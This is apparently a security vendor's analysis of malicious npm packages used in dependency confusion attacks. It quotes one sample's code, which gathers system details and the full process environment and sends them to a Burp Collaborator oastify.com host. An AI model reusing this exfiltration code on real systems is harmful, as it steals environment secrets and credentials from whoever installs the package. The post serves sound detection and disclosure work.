Malicious npm Packages using Burp Collaborator for Dependency Confusion Attack

Recently a Hacker News discussion on Snyk security researcher deploys malicious NPM packages targeting cursor.com highlighted interesting insights related to using Burp Collaborator’s oastify.com as Command and Control (C2) server for exfiltrating data. In this particular case, the researcher published multiple npm packages to the public npm registry apparently targeting internal packages at Cursor in a dependency confusion attack.

SafeDep Analysis

Our Malicious Package Scanner deployed to monitor npm registry for malicious packages identified similar patterns in multiple packages published during the month of January 2025. In fact a simple query identified 50+ such packages.

Looking at a Sample

We took a closer look at one of the samples pkg:/npm/patternfly-v5/[email protected]. The sample contained the following files:

-rw-r--r--  1 dev  wheel  1365 Oct 26  1985 index.js
-rw-r--r--  1 dev  wheel   283 Oct 26  1985 package.json
-rw-r--r--  1 dev  wheel     0 Oct 26  1985 patternfly-addons.css
-rw-r--r--  1 dev  wheel     0 Oct 26  1985 patternfly.min.css

The package.json had a postinstall script to execute the payload:

{
  "name": "@patternfly-v5/patternfly",
  "version": "1.0.2",
  "description": "A package for testing supply chain attacks.",
  "main": "index.js",
  "scripts": {
    "postinstall": "echo 'Patternfly malicious package executed!'"
  },
  "author": "Your Name",
  "license": "MIT"
}

The payload was in index.js and contained exfiltration logic such as

function sendData(path, data) {
  const options = {
    hostname: 'rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com',
    port: 443,
    path: `/${path}`,
    method: 'GET',
    headers: {
      'Content-Type': 'application/json'
    }
  };

  const req = https.request(options, (res) => {
    console.log(`Status: ${res.statusCode}`);
  });

  req.on('error', (error) => {
    console.error(`Error: ${error.message}`);
  });

  req.write(JSON.stringify(data));
  req.end();
}

Followed by system information gathering code

const systemInfo = {
  hostname: os.hostname(),
  platform: os.platform(),
  arch: os.arch(),
  release: os.release(),
  userInfo: os.userInfo(),
  networkInterfaces: os.networkInterfaces(),
  env: process.env
};

Example Packages using oastify.com for Exfiltration

Conclusion

All packages appeared to be similar in nature i.e. leveraged Burp Suite’s Collaborator service as a public endpoint for capturing exfiltrated data. We did not observe any sophistication or attempt to conceal malicious behavior. This potentially indicate red team activity or unsophisticated threat actor groups.